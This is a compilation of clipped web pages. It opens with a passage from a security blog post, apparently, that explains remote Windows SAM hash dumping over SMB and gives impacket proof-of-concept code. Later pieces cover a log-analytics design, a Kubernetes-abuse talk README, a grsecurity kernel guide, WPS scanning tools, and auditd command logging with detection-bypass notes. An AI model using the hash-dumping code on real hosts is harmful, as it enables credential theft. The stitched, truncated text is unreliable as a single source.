>     HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Skew1
>     HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Data
>     HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\GBG
[/code]

Ones that is gathered the rest of the process is executed which is described
best by the original author who described the process:

>
[code]

>     1)  The  value  'F'  of  the  registry  key SAM\SAM\Domains\Account is
>     accessed**.**  The  contents  of  that  value  is  of binary type**.**
> 16 byte
>     (starting  at  offset 0x70) from the F value are hashed (MD5) with the
>     bootkey  and  some  constant**.** The result is used as the key to
> decrypt
>     (RC4)  the  32  byte of the F value (starting from 0x80)**.**
>     The  first  16  byte  of the result are used later in the algorithm**.**
> I
>     call them hbootkey**.**
>  
>     2) For each rid subkey in SAM\SAM\Domains\Account\Users**.** The value
> 'V'
>     of  the  key  is accessed**.** The content of that value is of binary
> type
>     and  contain  the  syskey  encrypted  password  hashes**.**  The
> hbootkey
>     (computed in step 1), the user rid and a constant string( different if
>     decoding  NT  or lanman password) are hashed (MD5)**.** The result is
> used
>     as the key to decrypt (RC4) the syskeyed password hashes**.**
>  
>     So syskey encrypts the password hashes with the RC4 algorithm using as
>     key "something" derived (through MD5) from the syskey bootkey**.**
[/code]

That describes it pretty clear don’t you think**?** If you prefer to
understand algorithms by reading code I’d recommend to have a look at creddump
, specifically the hashdump**.** py file. Armed with this information and a
confirmation from the creddump source I started to implement my own remote
hash dumper**.**

**Failed attempt**  
I’ve said it before and I’ll say it again \(even though I don’t learn\)
“Assumption is the mother of all \*\*\*”**.** After reading the description of
the syskey algorithm and having a quick glance at the creddump source I
started to create the first POC**.** So I fired up regedit.exe and connected
to a remote registry, then I went to the keys which contained the needed
information**.** First thing I had to do was change the rights on the SAM key
to make sure the Administrator had read rights**.** After doing this and
refreshing regedit.exe with F5 I could see the keys**.** Due to my lazyness
the first thing I tried was to export the keys as hive files**.** This failed
miserably, I was not able to save them on my desktop \( I later realised
why\)**.** So I did the next best thing I exported them as REG files**.** It
all looked pretty good, so I started coding and made this function for myself
to parse out values from a reg file, which I would need later to calculate the
correct decryption keys:

| `import` `codecs``def` `get_parametervaluefromkey(regfile, keyname,
parametername):``lkeyname ``=` `'['` `+` `keyname ``+` `']'``if`
`parametername **!**``=` `'@'``:``lparametername ``=` `'"' + parametername +
'"='``else:``lparametername = parametername``start_paramblock =
False``start_param = False``foundparam = list()``with codecs.open(regfile,
encoding='utf-16') as f:``for line in f.readlines():``line = line.strip()``if
line.startswith('['):``start_paramblock = False``if line ==
lkeyname:``start_paramblock = True``continue``if start_paramblock:``if
line.startswith(lparametername):``start_param =
True``foundparam.append(line)``continue``if not
line.startswith('"'``):``foundparam.append(line)``else``:``start_param ``=`
`False``return` `foundparam`  
---|---  
Which you can use like this:

| `get_parametervaluefromkey(systemfile,
r``"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1"``,
``"SkewMatrix"``)`  
---|---  
That all went great until I wanted to actually calculate the bootkey**.** If I
had read the algorithm description more carefully AND if I hadn't assumed
things when reading the creddump source I would have realized that when it
states that:

>
[code]

>     A more in depth analysis of the code accessing these keys uncover that
>     the  "complex  obfuscation algorithm" is no more than a permutation of
>     the class name of the above-mentioned keys**.**
[/code]

It really means CLASS NAME and not VALUES**.** This information is lost when
you export keys in the reg format, if you export them as text however you DO
get that information**.** Unfortunately the formats are miles apart:

.reg format:

[code]

    Windows Registry Editor Version 5**.** 00
    
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1]
    "SkewMatrix"=hex:54,a1,24,08,3e,1b,f7,cc,fe,3d,bb,63,e1,6f,06,59
[/code]

.txt format:

[code]

    Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1
    Class Name: 6fa7b736
    Last Write Time: 10/15/2013 - 7:08 AM
    Value 0
    Name: SkewMatrix
    Type: REG_BINARY
    Data:
    00000000 54 a1 24 08 3e 1b f7 cc - fe 3d bb 63 e1 6f 06 59 T¡$**.** >.÷Ìþ=»cáo.Y
[/code]

Well that was a bummer, not really an easy way to reuse my already written
code**.** So I started to play around with regedit.exe which is when I
realized why I couldn’t save the keys as hive files before**.** The function
used by regedit.exe is RegSaveKey  which doesn’t return the data but saves it
itself to a specified path**.** Which isn’t entirely bad since I assume \(see:
I don’t learn\) that if you specify a UNC path to a share it would happily
safe the file there**.** You’ll probably just need to make sure the machine is
able to login to the specified share**.**

More or less at the same time I stumbled upon the excellent article on
exporting the registry  by HD Moore**.** In this article WinScanX is explained
which is able to dump hashes remotely as follow:

> Since imitation is the sincerest form of flattery, I looked into how
> WinScanX implemented the registry hive export**.** Using the Remote Registry
> service over SMB/DCERPC, WinScanX calls the Save function, instructing the
> service to write an exported copy of the hive to the file system**.**
> WinScanX then downloads the hive using the ADMIN$ SMB share**.** This is a
> clean way to obtain the hive data, but newer versions of Windows disable the
> Remote Registry service by default, requiring the user to first enable it,
> then dump the hive, then disable it again**.** I would not be surprised if
> future versions of WinScanX implement this method**.**
In my testlab I didn’t need to enable the remote registry it seemed to have
been enabled by Windows when I enabled File & Printer Sharing**.** The
downside is that it’s a Windows tools and I prefer to do this stuff from a
Linux machine**.** So at this point I decided to see how hard it would be to
create a quick POC for this using impacket**.**

**Finally, success**  
Seeing how it all had gone until now I assumed the worst, however I seemed to
be lucky**.** Impacket already has an implementation for the RegSaveKey
function**.** This made it mostly a copy/paste process from my previous post
to get it working**.** All it took was the following lines of code using
impacket:

| `s ``=` `getloginsession(victim, domain, username,
password)``registryconnection ``=` `getregistryconnection(s,
victim)``hklm_open ``=` `registryconnection.openHKLM()``hklm_open_chandle ``=`
`hklm_open.get_context_handle()``hklm_keyopen_sam ``=`
`registryconnection.regOpenKey(hklm_open_chandle, ``"SAM"``,
winreg.KEY_ALL_ACCESS)``hklm_keyopen_system ``=`
`registryconnection.regOpenKey(hklm_open_chandle, ``"SYSTEM"``,
winreg.KEY_ALL_ACCESS)``hklm_keyopen_sam_chandle ``=`
`hklm_keyopen_sam.get_context_handle()``hklm_keyopen_system_chandle ``=`
`hklm_keyopen_system.get_context_handle()``registryconnection.regSaveKey(hklm_keyopen_sam_chandle,remote_samsavename)``registryconnection.regSaveKey(hklm_keyopen_system_chandle,remote_systemsavename)``logout(_dcerpctransport)``#get
the sam``s.getFile(``'C$'``, samfile,
savefile_callback)``s.deleteFile(``'C$'``,samfile)``os.rename(_localdumplocation``+``'tempfile'``,_localdumplocation``+``remote_samsavename)``print`
`"[*] saved sam %s"` `%` `_localdumplocation``+``remote_samsavename``#get the
system``s.getFile(``'C$'``, systemfile,
savefile_callback)``s.deleteFile(``'C$'``,systemfile)``os.rename(_localdumplocation``+``'tempfile'``,_localdumplocation``+``remote_systemsavename)``print`
`"[*] saved system %s"` `%`
`_localdumplocation``+``remote_systemsavename``logout(s)`  
---|---  
So now we are able to dump Windows hashes from Linux remotely without the need
to start processes or upload executable files and all this through a single
port**.** It looks like this:

> python reg2hash**.** py -t file:t.txt -u Administrator -p P@55word -l
> ../../j/dumped/  
>  \[\*\] targets 2  
>  \[\*\] domain None  
>  \[\*\] username Administrator  
>  \[\*\] password P@55word  
>  \[\*\] accessing 10**.** 50**.** 0.117  
>  \[\*\] saved sam ../../j/dumped/10**.** 50.0**.** 117.s  
>  \[\*\] saved system ../../j/dumped/10**.** 50.0**.** 117.y  
>  \[\*\] accessing 10.50.0**.** 116  
>  \[\*\] saved sam ../../j/dumped/10**.** 50**.** 0.116.s  
>  \[\*\] saved system ../../j/dumped/10**.** 50.0.116**.** y
You can find the full source on my GitHub , feel free to comment if you
suggestions, improvements or just plain old rants**.** Don’t forget that this
is just a quick POC, thus me being lazy and not implementing error
checking**.**

**Resources**

About these ads

This entry was posted on October 24, 2013 at 01:26 and is filed under general
, security  with tags dcerpc , hash dumping , impacket , remote registry , smb
**.** You can follow any responses to this entry through the RSS 2**.** 0
feed. You can leave a response, or trackback  from your own site**.**

****

# Impossible Engineering Problems Often Aren't | Scalyr Blog
**Created:**| _7/30/2014 3:04:43 PM_  
---|---  
**Updated:**| _7/30/2014 3:04:43 PM_  
**Author:**| __  
**Tags:**| _Design algos system analysis_  
  

# Impossible Engineering Problems Often Aren't

When your problem is impossible, redefine the problem.

In an earlier article, I described how Scalyr searches logs at tens of
gigabytes per second using brute force. This works great for its intended
purpose: enabling exploratory analysis of all your logs in realtime. However,
we realized early on that some features of Scalyr―such as custom dashboards
built on data parsed from server logs―would require searching terabytes per
second. Gulp\!

In this article, I’ll describe how we solved the problem, using two helpful
principles for systems design:

  * **Common user actions must lead to simple server actions.** Infrequent user actions can lead to complex server actions.
  * **Find a data structure that makes your key operation simple.** Then design your system around that data structure.

Often, a seemingly impossible challenge becomes tractable if you can reframe
it. These principles can help you find an appropriate reframing for systems
engineering problems.

## The “impossible” problem

Scalyr provides a wide variety of server monitoring and analysis tools, and
applies them to a variety of operational data, such as server logs, metrics,
and probes. To enable this, we implement each feature as a set of queries on a
universal data store. Graphs, log listings, facet breakdowns, alert
conditions… are all translated into our query language and executed by our
high-performance search engine.

Some features require multiple queries. For instance, a dashboard can contain
any number of graphs, with multiple plots per graph. Each plot, in turn, can
reflect a complex log query.

<img src='img/Temp2_4370.png' alt='A Sample Log Monitoring Dashboard' />

An example of a custom log-based dashboard in Scalyr.

A custom dashboard might easily contain a dozen graphs with four plots each.
Suppose a user selects a 1-week dashboard view, and they generate 50 gigabytes
of logs per day. That’s 48 queries against 350 gigabytes of data, or 16.8
terabytes of effective query volume. We aim to display dashboards in a
fraction of a second; no brute-force algorithm can process data that quickly.

A fancy indexing approach might do better, but would add cost and complexity,
and would only help some queries. It’s unlikely that indexes could enable 48
arbitrary queries in a fraction of a second.

Alerts also generate a large number of queries. Scalyr’s alerts can trigger on
complex conditions, such as “99th percentile of web frontend response times
over a 10-minute window exceeds 800 milliseconds.” Alert queries are not
latency sensitive; no one will notice if it takes a few seconds to evaluate an
alert. However, they pose a throughput challenge. A single user may have
hundreds or thousands of alerts, and we evaluate each alert once per minute.
In aggregate, this generates many queries per second, around the clock. We can
only afford a few milliseconds for each alert — not nearly enough to scan a
large data set.

## Redefining the problem

To recap: dashboards and alerts both issue many queries, but can’t afford the
time needed for query execution. We needed to find an aspect of the situation
that enables a cheaper solution. Fortunately, dashboards and alerts have
something in common: the queries are known in advance. **Query evaluations are
common** , but **new queries are rare** , arising only when a user edits a
dashboard or alert. Following the design principles given above, we need a
data structure that makes it easy to evaluate dashboard and alert queries;
it’s OK if query creation becomes complex and expensive.

Scalyr supports a wide variety of queries, yielding textual output \(log
messages\), numeric values, histograms, and key/value data. However, dashboard
and alert queries always yield an array of numbers. Each query effectively
defines a numeric function over time, which might be “error messages per
second,” “99th percentile server latency,” or “free disk on server X.”
Executing the query means evaluating the function and boiling down the result
to a sequence of numbers, each number corresponding to a specific time
interval.

We can make this easy by precomputing the function for each point in time. In
practice, we use 30-second resolution. Our data structure is simply an array
of numbers per query, giving the numeric output of that query per 30-second
interval. We call this array a timeseries. For example, suppose a user has a
dashboard graph showing the rate of 5xx errors generated by a pool of web
servers. We’ll create a timeseries which counts the number of errors in each
30-second interval:

<img src='img/Temp2_4368.png' alt='Timeseries from Server Log Files' />

Now, we can quickly generate a graph for any time period. \(To graph long time
periods, we also store a few redundant arrays using progressively coarser time
intervals.\) Using this data structure, the impossibly difficult problem of
scanning terabytes of data in less than a second becomes rather simple.

Of course, we’ve traded one problem for another — the problem of building and
maintaining timeseries. But unlike the original problem, this one is
tractable.

## Maintaining timeseries

To populate a new timeseries, we execute the underlying query across the
entire retention period of the aggregated log. This is somewhat expensive, but
we can do it in the background, and new dashboard or alert queries are
infrequent.

To keep things up-to-date, we incrementally update each timeseries whenever a
relevant log message arrives. For instance, if a new web access message has a
status code in the range 500-599, we increment the counter in the “5xx errors”
timeseries that corresponds to the appropriate time interval.

This introduces a new challenge: for each new message, we need to determine
which timeseries it matches. Testing every message against every timeseries
would require many millions of tests per second. We address this by taking
advantage of the aggregate properties of dashboard and alert queries. These
queries often use the same fields for filtering, such as hostname, metric
name, or server tier. We can build a decision tree using these fields, and use
it to quickly identify a short list of candidate timeseries which might match
each log message.

A decision tree is organized around a root field―whichever field of the log
message is most useful in narrowing down timeseries. Often, the root field
will be the hostname. Timeseries which match messages from a specific host are
grouped together; timeseries which aggregate across hosts go in their own
group, the \[any\] group. Within each group, a new field is chosen, and
timeseries are organized by that field. The subdivision continues until each
group contains only a few timeseries.

To process a new message, we retrieve its value for the root field, and move
to the subtree for that value. Eventually we arrive at a short list of
timeseries, and evaluate the filter criteria for each timeseries to see
whether it matches the event. At each level of the decision tree, we descend
into two subtrees: the subtree corresponding to the message’s value for the
decision field, and the \[any\] subtree.

Example

Imagine we have a dozen timeseries, which select messages according to the
following \(simplified\) criteria:

[code]

    host="frontend1" && metric="memfree"
    host="frontend1" && metric="diskfree"
    host="frontend2" && metric="memfree"
    host="frontend2" && metric=diskfree"
    host="backend1" && metric=memfree"
    host="backend1" && metric=diskfree"
    host="backend2" && metric="memfree"
    host="backend2" && metric="diskfree"
    pool="webapp" && status >= 400 && status <= 499
    pool="webapp" && status >= 500 && status <= 599
    pool="api" && status >= 400 && status <= 499
    pool="api" && status >= 500 && status <= 599
[/code]

We can organize these timeseries into a decision tree as follows:

<img src='img/Temp2_4369.png' alt='Timeseries Decision Tree' />

Now suppose we receive a log message with the following fields:

[code]

    host=frontend1
    metric=memfree
    value=194207
[/code]

From the root of the decision tree, we enter the host=”frontend1” and
host=\[any\] nodes. From host=”frontend1”, we descend to metric=”memfree”, and
match against the timeseries listed there. From host=\[any\], we find no
applicable branches, and halt. We only have to test one of the 12 timeseries.
In the worst case, for an event like \{host=frontend1, metric=memfree,
pool=webapp\}, we’d test 3 timeseries.

## Generating decision trees

Whenever you add an alert or edit a dashboard, Scalyr generates a new decision
tree, optimized for the new set of timeseries. The decision tree is built
using a simple greedy algorithm:

  1. Find all field names which are used in a == test in at least one timeseries. \(In the example above, these are _host_ , _metric_ , and _pool_.\)
  2. For each field name, partition the timeseries according to the value they require for that field. If a timeseries doesn’t require a specific value for the field, place it in an \[any\] group. Count the number of timeseries in each group, and find the largest group. In the example, the “host” field yields 4 groups of size 2, plus a group of size 4 \(the \[any\] group\). So the largest group has size 4.
  3. Build a tree whose root field minimizes the size of the largest group. In our example, both the _host_ and _metric_ fields have a largest-group-size of 4, so we could use either one. The _pool_ field would have an \[any\] group of size 8, so we can’t use _pool_ as our root field.
  4. Recurse on each subtree generated in step 3.

This algorithm performs quite well for us in practice. As an example, our
internal production account has 1,996 timeseries. This generates a tree of
depth 7, and the largest leaf node contains 15 timeseries. In the worst case,
a log message might pass through 9 tree nodes, and be tested against 59
timeseries. \(Remember that event processing can recurse down multiple tree
branches―one field=value branch and one field=\[any\] branch at each level.\)

**This is a 33x speedup** \(from 1,996 timeseries to 59\). **In practice, the
improvement is even greater** , because 59 is the worst-case path through the
decision tree. Most messages are compared against fewer timeseries.

## Practical details

For completeness, a few loose ends I’d like to tie up:

1\. For each 30-second interval in a timeseries, we don’t actually store a
single number. Instead, we store a compact histogram, summarizing the relevant
numeric field of all log messages which fall in that time interval.

This is important for complex aggregations such as “99th percentile latency.”
Suppose we’ve received 300 messages for a particular time interval, and the
99th percentile latency was 682.1 milliseconds. Then we receive a new message,
with latency 293.5 milliseconds. How would we combine 682.1 and 293.5 to
compute a new 99th percentile? We couldn’t; there isn’t enough information. We
need a data representation that can be updated incrementally. For percentiles,
a histogram fills the bill.

When generating a dashboard graph, we process each histogram to get the
desired percentile. This is cheap enough to do on the fly.

2\. Updating all these histograms on a continuous, incremental basis generates
a lot of data structure changes. It would be too expensive to persist each
change to disk. Instead, we keep track of which histograms have changed, and
flush them to disk every few minutes. On a server restart, we replay the last
few minutes of logs to reconstruct the lost histogram updates. This adds
complexity, but it’s worth it to keep per-log-message costs down. \(Referring
back to our design principle: new log messages are frequent, server restarts
are rare.\)

3\. When a new timeseries is created, we query the entire log database to
populate it in the background, This is an expensive operation, which takes
time to complete. If a user request arrives, we briefly leave off background
processing to devote the entire server to the user request. We also populate
the timeseries backwards \(starting with the most recent data\), to make it
immediately useful for displaying dashboards.

## The takeaway

Good algorithms can be helpful in improving performance, but it’s even more
important to frame the problem correctly. Careful system design gave us search
speeds of tens of gigabytes per second. Redefining the problem took us to
terabytes per second. This involved rethinking the critical operation
\(retrieving numeric results for a predefined query\), and pushing complexity
to a less common operation \(defining new alerts or dashboard graphs\).

This is part of a series of posts on systems engineering and performance at
Scalyr. For a look at frontend performance, see Optimizing AngularJS: 1200ms
to 35ms. To read how we perform ad-hoc searches, read Searching 20 GB/sec:
Systems Engineering Before Algorithms.

Using these techniques, we’ve been able to implement blazing-fast, reliable,
flexible search of aggregated logs. We hope you’ll find these ideas useful in
your own projects. **If you’d like to see Scalyr’s performance in action,try
it free or learn more about our hosted log monitoring service.**

# mauilion/blackhat-2019

**Created:**| _1/26/2020 3:15:49 PM_  
---|---  
**Updated:**| _1/26/2020 3:15:49 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

_Branch:_ master

Find file  Copy path

##  blackhat-2019 / **README.md**

<img src='img/1534296.png' width='20' height='20' alt='@mauilion' /> mauilion
updated README.md 584eae4 on 7 Aug 2019

**1** contributor

25 lines \(13 sloc\)  1.07 KB

Raw Blame History

Open this file in GitHub Desktop

## Resources for The path less traveled: Abusing Kubernetes Defaults

This repo has all of the manifests and demo scripts used for this
presentation.

The cluster was built using kind.sigs.k8s.io and run entirely from the
presenter laptop.

You can run the setup.sh script to populate the images that will be used

Run all of the demo scripts from the root directory of this repo.

The `k8s_root` and `dind` demos do require that the laptop be running some
linux distribution and docker.

For both of these examples we are joining the laptop to the kind cluster as a
node.

Other resources.

report a vuln k8s.io/security ask questions\! slack.k8s.io \#security and
\#sig-auth cve's are announed as part of the announce google group

Any questions or feedback please reach out\!

Duffie Cooley and Ian Coldwater

  

# HOWTO: Installing Grsecurity patched kernel in debian/ubuntu | tuxmachines.org
**Created:**| _11/25/2009 3:32:56 PM_  
---|---  
**Updated:**| _11/25/2009 3:33:02 PM_  
**Author:**| __  
**Tags:**| _Lab-Setup_  
  

This is based on the same walkthrough I posted for grsecurity on red hat based
kernels except this is for debian based kernels. The current stable debian
kernel is vulnerable to about all of the new local exploits and if you are
running the 2.4 kernel you are vulnerable to even more. Debian even had one of
their servers hacked with the local root exploits, they only released a
patched kernel for the testing branch to my knowledge.  
The PDF version can be found HERE.  
Ok so here goes.

If you have not done any compiling or built any kernels you must get the
packages needed.

`sudo apt-get install build-essential bin86 kernel-package`

`sudo apt-get install libqt3-headers libqt3-mt-dev (needed for make xconfig)`

First get what is needed and patch the kernel.  
`  
cd /usr/src`  
`  
wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.17.7.tar.bz2`

`wget http://grsecurity.org/grsecurity-2.1.9-2.6.17.7-200607261817.patch.gz`

`tar -xjvf linux-2.6.17.7.tar.bz2`

`  
gunzip < grsecurity-2.1.9-2.6.17.7-200607261817.patch.gz | patch -p0`  
`  
mv linux-2.6.17.7 linux-2.6.17.7-grsec`

`ln -s linux-2.6.17.7-grsec linux`

`cd linux`

copy your current config over

do uname -r to see what kernel your running and copy it, example:  
`  
cp /boot/config-2.6.15-26-686L .config`

\*Configure the kernel:

`sudo make xconfig`

if you are doing this on a server use makeconfig

make sure you select the basic stuff that is needed, iptables, your processor
type, and then go in Security Options and to grsecurity, select which level of
security you want and any other options you may want.

\*In a terminal make sure you are in /usr/src/linux with full root access.

We will build a ".deb" file that can be installed in our Ubuntu system, using
make-kpkg.

\*In a terminal type:

`make-kpkg clean`

`make-kpkg -initrd --revision=ck2 kernel_image`

If there wasn't errors this will build the kernel and a ".deb" file will be
created at /usr/src.  
\*To install it:

`sudo dpkg -i kernel-image-2.6.17*.deb`

Now reboot and if you did everything correctly it should boot back up and you
will be using the new grsecurity kernel.

# WPScan & WPSpy Tools - SourceSec Security Research Group

**Created:**| _5/10/2009 8:57:48 AM_  
---|---  
**Updated:**| _5/10/2009 8:58:21 AM_  
**Author:**| __  
**Tags:**| _wifi wardriving security tools_  
  

These are the Wifi-Protected Setup tools that we presented at ChicagoCon.

WPScan actively sends 802.11 probe requests to access points that advertise
WPS support. It then parses out the WPS Information Element in the resulting
probe response and displays the results. This is a very useful fingerprinting
tool since nearly all new routers have WPS enabled by default, and most
vendors will actually put the exact make, model, and version of the router in
the probe response\!

WPSpy is a tool to simply monitor and report changes in the WPS status of and
access point. This is particularly useful if you are running some of our
described attacks that leverage WPS to gain access to the WLAN.

# Building a SIEM: centralized logging of all Linux commands with ELK + auditd | by Security Shenanigans | InfoSec Write-ups
**Created:**| _11/2/2022 10:09:13 AM_  
---|---  
**Updated:**| _11/2/2022 10:09:13 AM_  
**Author:**| __  
**Tags:**| __  
  

  

# Building a SIEM: centralized logging of all Linux commands with ELK + auditd

Recently, working with the SOC department, we had to enable command logging
for more than 10k instances. We also needed to implement a way of parsing
those commands and importing them to ELK. Now, if you have researched terminal
logging, you’ll know that there are multiple solutions. In this article I’ll
explain the one that we choose, why we choose it, and at the end I’ll tell you
about a custom rule that it allowed us to write.

The most recommended solution for this problem is using the PROMPT\_COMMAND
variable in bash which executes before running any command. If you want to go
this way, there are great write-ups on how to accomplish it:

https://medium.com/maverislabs/logging-bash-history-cefdce602595  
https://spin.atomicobject.com/2016/05/28/log-bash-history/  
https://askubuntu.com/questions/93566/how-to-log-all-bash-commands-by-all-
users-on-a-server

We, however, chose not to use this solution, as it had some caveats. First,
the environmental variable can be reset by the user. In the following example,
we set the variable to print a string before any command, and then we unset
the variable in order to delete the logging. This would enable any attacker
that reads the local ~/.bashrc or /etc/profile to realize that the commands
are being logged, and to disable the logging.

<img src='img/1*jxFvSrt5QQmedtjZFf6Ncw.png' width='576' height='186' />

Bypassing PROMPT\_COMMAND logging with unset

Secondly, depending on which file you use to define the variable, you can
bypass this logging feature by just switching the shell. In the following
example we change bash for sh, and watch as the variable gets unset
automatically. This would allow an attacker to change a definition in, for
example, .bashrc.

<img src='img/1*z1X6B0-BQWm0sW6zErf5mg.png' width='576' height='192' />

Bypassing PROMPT\_COMMAND logging sourcing a new shell

Each shell sources different files, and you need to have a consistent solution
for each and everyone. An attacker might use bash, but he might also use sh,
ash, zsh or even dash \(lets not forget that some versions of dash, unlike
bash, allowed you to start a binary with suid without supplying -p, which is
very useful for backdooring a system\). The different sourcing of files is
also very relevant in cases where you get compromised through an exploited
service. When you exploit a service, lets say, apache, you get dropped to a
shell without a tty allocation, and you need to contemplate all of the
possibilities when defining variables. We wrote a custom rule contemplating
this that will be explained at the end.

Thirdly, you can bypass custom regex filters with certain bash features. Say
that you want to get notified whenever someone runs an nmap on your network.
You would write a regex that identifies any command that has nmap on it.
Something like

[code]

    .*nmap.*
[/code]

This can get easily bypassed, with things like variable expansion / single or
double quotes / backslash / aliases:

<img src='img/1*heMGchr_TOSxwiQ9w_m_CA.png' width='576' height='580' />

Multiple bypasses of .\*nmap.\*

There are multiple ways to achieve this, and if you’re working in a SOC you
should probably know all of them. These are a must know when red teaming. You
can read more about them here:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection

Fourthly, you only get commands ran through an interactive console. Any
attacker aware of this can create a simple script to run the commands it wants
\(for example nmap\) and those wouldn’t show up in the logfile. Or even worse,
compile a simple C script to call the bash command.

We researched a lot of alternative tools \(rootsh / pam\_tty\_audit.so /
sudo\). I won’t get into the details of these, as this article would end up
being miles long, and there are already really detailed write ups about this
\(https://www.scip.ch/en/?labs.20150604\).

We ended up using the auditd service. This is a service that’s tightly
integrated with the kernel, and based on all the information that we gathered,
its only disadvantage is that it was overly verbose, since it logs at the
syscall level. This was actually an advantage for us, since we wanted command
logging and not only bash interactive logging. We’ll see in a bit how we took
care of the overly verbose aspect with logstash.

Another reason why we chose auditd is that since it is a root level service,
its easier to monitor and more difficult to compromise than something like a
logfile. Granted, auditd also uses a logfile, but you have a higher privilege
service using it that something like a bash process. You can set up custom
alerts to notify when a service has been stopped, and contemplate more user
cases than what you can do with a file \(which can be deleted, changed with an
inmutable flag, deleted, emptied, etc…\).

Auditd also allows you to log not only the command that the user typed, but
the resulting binary invoked \(this prevents regex bypass attacks, since you
can build the regex to match with the binary instead of the command itself\).

In order to implement auditd, you first need to install it:

[code]

    apt-get install auditd audispd-plugins
[/code]

After that, you’ll need to edit the following file:
/etc/auditd/rules.d/audit.rules \(on any Debian derivative\).  
To log all architecture syscalls, you would do the following:

[code]

    -a always,exit -F arch=b32 -S execve  
    -a always,exit -F arch=b64 -S execve
[/code]

After that, you should enable and start the service:

[code]

    systemctl enable auditd.service  
    systemctl start auditd.service 
[/code]

You can see the applied rules with:

[code]

    auditctl -l
[/code]

I’m not gonna get into how to write auditd rules, since the man page will
explain it better than I can, but you should know that you can customize the
rules with filters. For example, you can enable logging for a single user
specifying the effective uid with:

[code]

    -a always,exit -F arch=b32 -S execve -F euid=0  
    -a always,exit -F arch=b64 -S execve -F euid=0
[/code]

After enabling auditd, tailing /var/log/audit/audit.log will undoubtedly fill
your screen with output:

<img src='img/1*qj9LftRv4XDppN_uFcKbow.png' width='576' height='117' />

Standard output for a single command in auditd.log

Don’t worry, we can easily dissect each commands output. Lets run a “whoami”
and analyze the output.

[code]

    type=SYSCALL msg=audit(1596148543.861:63): arch=c000003e syscall=59 success=yes exit=0 a0=565156eecbc0 a1=565156ef1fa0 a2=565156e97ce0 a3=8 items=2 ppid=1667 pid=2806 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=”whoami” exe=”/usr/bin/whoami” key=(null)  
    type=EXECVE msg=audit(1596148543.861:63): argc=1 a0=”whoami”  
    type=CWD msg=audit(1596148543.861:63): cwd=”/home/sec”  
    type=PATH msg=audit(1596148543.861:63): item=0 name=”/usr/bin/whoami” inode=1185 dev=08:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0  
    type=PATH msg=audit(1596148543.861:63): item=1 name=”/lib64/ld-linux-x86–64.so.2" inode=131848 dev=08:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0  
    type=PROCTITLE msg=audit(1596148543.861:63): proctitle=”whoami”
[/code]

It tells us the success state of the command, parent process id, process id,
uid, gid, command, and our custom key \(from auditctl -k\).

First we have the syscall entry. This logs a syscall call \(not meaning to be
redundant\) with the associated parameters hex encoded \(…a0=565156eecbc0…\).
It gives you the state of the command, process id, parent procces id, user id,
group id, command and a custom key if you defined it earlier \(keys can be
used to identify custom entries you want, you can filter them with auditctl
-k\). If you wanted to interpret the parameters, as well as translate uid/gid
to propper names, you would have to use ausearch with -i. You can invoke it to
decode a file with the following syntax:

[code]

    ausearch -i -if /tmp/file
[/code]

We want to decode a line, so we’ll use bash’s handy process substitution \(it
uses the <\(command\) syntax and replaces a file with a command’s output\)

<img src='img/1*XVMDQXLuJN_9Cd65xFwKpw.jpeg' width='576' height='156' />

Decoded syscall

After that you have the EXECVE type log, which has the parsed arguments for
the syscall.

After the EXECVE you have entries for CWD and also the PATH of the invoked
command \(these are self explanatory\).

Lastly, you have the PROCTITLE which as the name suggest, gives you the title
of the process being executed \(this may or may not match with the command
ran, see consideration 2 at the end of the article\).

You can find more details on auditd logging in here:
https://medium.com/@guruisadog/exploring-audit-daemon-for-threat-
hunting-6ef2a30570ad

In order to parse this with ELK, you’ll probably want to forward this log to a
centralized log server using your solution of choice \(filebeat, wazuh agent,
etc..\).

For those unaware, ELK is an integrated solution which consists of 3
components. Elastic search \(non-relational db\), Logstash \(a data parser
that allows you to normalize or enrich the data\) and Kibana \(which allows
you to visualize the info in a simple matter as well as defining custom
dashboards\). Warning, I’m only scratching the surface of ELK. If you’re not
familiar with it, you should read more at https://logz.io/learn/complete-
guide-elk-stack/.

After doing this, you’ll need to write a custom script in logstash in order to
parse the command. This is needed because on commands that have multiple
arguments, you’ll see a line divided by command arguments. Running “cat test1
test2 test3 test4” will output the following.

[code]

    type=SYSCALL msg=audit(1596149019.479:174): arch=c000003e syscall=59 success=yes exit=0 a0=562e0acc36c0 a1=562e0ad523c0 a2=562e0ae1df70 a3=8 items=2 ppid=2879 pid=2903 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts2 ses=4 comm=”cat” exe=”/bin/cat” key=(null)  
    type=EXECVE msg=audit(1596149019.479:174): argc=5 a0=”cat” a1=”test1" a2=”test2" a3=”test3" a4=”test4"
[/code]

Showing commands in this way is not only difficult to read, but more
importantly, it makes writing custom regex rules harder. In order to prevent
this, we’re going to write a simple ruby script in logstash that will process
the EXECVE line and join the command to make it more readable \(and also
easier to monitor with something like elastalert rules\).

[code]

    def filter(event)  
       # Getting full log event  
       full_log = event.get("full_log")  
       # Making sure its of type EXECVE  
       command = ""  
       if /type=EXECVE/.match(full_log) then  
           log_execve = full_log.split("type=EXECVE")  
           # Spliting values  
           log_execve_kv = Hash[log_execve[1].split(" ").map{|x| x.split("=",2)}]  
           log_execve_kv.each do |key, value|  
               # If the key equals a followed by 1 or 2 numbers  
               if /ad+|ad+d+/.match(key) then  
                   # Si value starts with "  
                   if /"/.match(value[0]) then  
                       command += value[1..-2] + " "  
                   else  
                       # Spliting the value in a two by two array  
                       convert = [value].first.scan(/../)  
                       convert.each_with_index { |item, index|  
                       #Substituting 00 by 20  
                       if item == "00"  
